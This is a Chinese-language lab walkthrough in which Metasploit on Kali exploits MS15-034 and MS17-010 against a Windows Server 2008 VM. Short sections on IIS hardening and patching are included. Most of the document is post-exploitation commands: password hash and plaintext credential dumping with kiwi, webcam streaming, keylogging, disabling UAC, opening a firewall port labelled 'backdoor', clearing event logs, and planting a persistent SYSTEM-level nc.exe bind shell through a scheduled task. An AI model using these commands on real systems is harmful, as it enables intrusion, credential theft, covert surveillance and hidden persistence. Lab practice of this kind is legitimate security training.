目录
[2.POC验证与nmap扫描( ms15-034 )](#2.POC验证与nmap扫描( ms15-034 ))
[3. Kali Linux 使用 MSF 漏洞利用( ms15-034 )](#3. Kali Linux 使用 MSF 漏洞利用( ms15-034 ))
[4.Windows server 安全加固](#4.Windows server 安全加固)
[5.Windows server 安装补丁](#5.Windows server 安装补丁)
[6. Kali Linux 使用 MSF 漏洞验证 ( ms17-010)](#6. Kali Linux 使用 MSF 漏洞验证 ( ms17-010))
[7. Kali Linux 使用 MSF 漏洞利用( ms17-010 )](#7. Kali Linux 使用 MSF 漏洞利用( ms17-010 ))
[8. Kali Linux 进行 MSF 后渗透](#8. Kali Linux 进行 MSF 后渗透)
[9. Kali Linux 使用 持久性后门( nc)](#9. Kali Linux 使用 持久性后门( nc))
一、实验
1.环境
(1)主机
表1 主机
|----------------|---------|-----------------------------------------|-------------------|
| 系统 | 版本 | IP | 备注 |
| Kali Linux | 2024.1 | 192.168.204.146(动态) 192.168.204.100(静态) | |
| Windows server | 2008 R2 | 192.168.204.150 | Kali(2024.1)的目标主机 |
(2)查看Kali Linux (2024.1)系统版本
bash
cat /etc/os-release

(3)查看Kali Linux (2024.1)系统IP地址
bash
ip addr

(4) 查看Windows server 2008 IP 地址
bash
ipconfig

(5)openvas查看报告
点击CVEs查看通用漏洞编号(cve-2015-1635)

2.POC验证与nmap扫描( ms15-034 )
(1)执行验证脚本
VULN 存在漏洞
bash
python2 cve-2015-1635.poc

(2)进入MSF 控制台
msfconsole

(3)扫描网段
目标主机为192.168.204.150
bash
db_nmap -sP 192.168.204.0/24

(4)扫描开放端口
bash
db_nmap -sV 192.168.204.150
3. Kali Linux 使用 MSF 漏洞利用( ms15-034 )
(1) 搜索 ms15-034 脚本
bash
search ms15-034

(2) 使⽤编号为 0 的脚本
use 0

(3) 设置⽬标主机
bash
set rhosts 192.168.204.150

查看Windows server状态

(4)运⾏脚本
run

查看Windows server状态

4.Windows server 安全加固
(1)IIS管理器

(2)打开功能

(3)编辑功能设置

(4)关闭内核缓存
修改前:

修改后:

5.Windows server 安装补丁
(1)Windows 补丁查询
(2)搜索
bash
KB3042553

(3)安装补丁


重启

(4)Kali Lnux (2024.1) 使用MSF运⾏脚本
run

(5)Windows server
保持正常

(6)POC验证
Patched 补丁已修复
bash
python2 cve-2015-1635.poc

6. Kali Linux 使用 MSF 漏洞验证 ( ms17-010)
(1) 进入MSF 控制台
msfconsole

(2) 搜索 ms17-010 脚本
bash
search ms17-010

(2) 使⽤编号为 0 的脚本
bash
use 3

(3) 设置⽬标主机
bash
set rhosts 192.168.204.150

查看Windows server状态

(4)运⾏脚本
run

7. Kali Linux 使用 MSF 漏洞利用( ms17-010 )
(1) 使⽤编号为 0 的脚本
use 0

(3) 设置⽬标主机
bash
set rhosts 192.168.204.150

查看Windows server状态

(4)运⾏脚本
bash
run

8. Kali Linux 进行 MSF 后渗透
(1)获取windows 服务器的密⽂密码
Administrator第3个冒号后内容为密码
bash
hashdump

(2) 解密
第一种方式:
bash
https://cmd5.com/

第二种方式:
MSF加载kiwi模块
(3)使用kiwi模块获取明⽂密码
加载 kiwi 模块
bash
load kiwi

检测所有凭证
bash
creds_all

(4)屏幕截图
bash
screenshot

(5)屏幕共享
bash
screenshare

(6)监控摄像头
bash
webcam_stream

(7)进程迁移
获取用户身份和进程列表
bash
getuid
getpid

查找 explorer 进程 (2704)
bash
ps -S explorer

迁移进程到 explorer
bash
migrate 2704

再次获取用户身份( 具有 administrator ⾝份)
bash
getuid

进程列表已切换
bash
getpid

(8)执⾏键盘操作记录
bash
run post/windows/capture/keylog_recorder

Windows server 新建文本文件

查看键盘操作记录
bash
vim /root/.msf4/loot/20240306131129_default_192.168.204.150_host.windows.key_889524.txt


结束 (CTRL + C)

(9)防⽕墙配置
进入 windows2008 的 cmd

消除乱码
bash
chcp 65001

检查防火墙状态 (目前为关闭)



防火墙设置开启状态
bash
netsh advfirewall set allprofiles state on


防火墙设置关闭状态
bash
netsh advfirewall set allprofiles state off


防火墙添加指定端口并启用 (后门端口别名为backdoor)
bash
netsh firewall add portopening tcp 444 backdoor enable all

查看



(10)UAC (用户账户控制设置)管理
查看


调整到最高

关闭
bash
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f


开启
bash
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f
(11)清除日志
查看日志

应用程序日志

安全日志

安装日志

系统日志

退出 win2008 cmd
bash
exit

清除日志
bash
clearev

查看日志
9. Kali Linux 使用 持久性后门( nc)
(1)查看后门程序(nc.exe)
bash
ls /usr/share/windows-binaries

(2)上传后⻔程序nc.exe 到Windows server
bash
upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32

查看

(3)查看任务计划
WIN + R
bash
taskschd.msc

查看

(4) 进入 cmd 命令⾏
bash
cmd

(5)消除乱码
bash
chcp 65001

(6)配置注册表开机⾃启
bash
schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart

查看

(7)重启

(8)查看进程
CTRL + SHIFT + ESC

(9)后门接入
bash
nc 192.168.204.150 444

退出
bash
exit

二、问题
1.CMD防火墙如何配置
(1)配置
bash
netsh:network shell ⽹络管理⼯具
advfirewall:advanced firewall ⾼级防火墙
set:设置
allprofiles:all 所有的profiles 配置
state:状态
off:关闭
on:开启
2.CMD注册表如何配置
(1)配置
bash
ADD 添加⼀个注册表项
/v 创建键值
/t 键值类型
/d 键值的值 1开/0关
/f 覆盖现有注册表项
3.CMD计划任务如何配置
(1)配置
bash
schtasks:scheduled tasks 计划任务
/create:创建
/tn: task name 任务名称
/ru:run user 运⾏⽤户
system:系统⽤户
/tr:task run 任务执⾏的操作
-Ldp:Listen and port 监听端⼝
-e:execute 执⾏
/sc:schedule 计划任务表示计划任务触发的时机
onstart:开机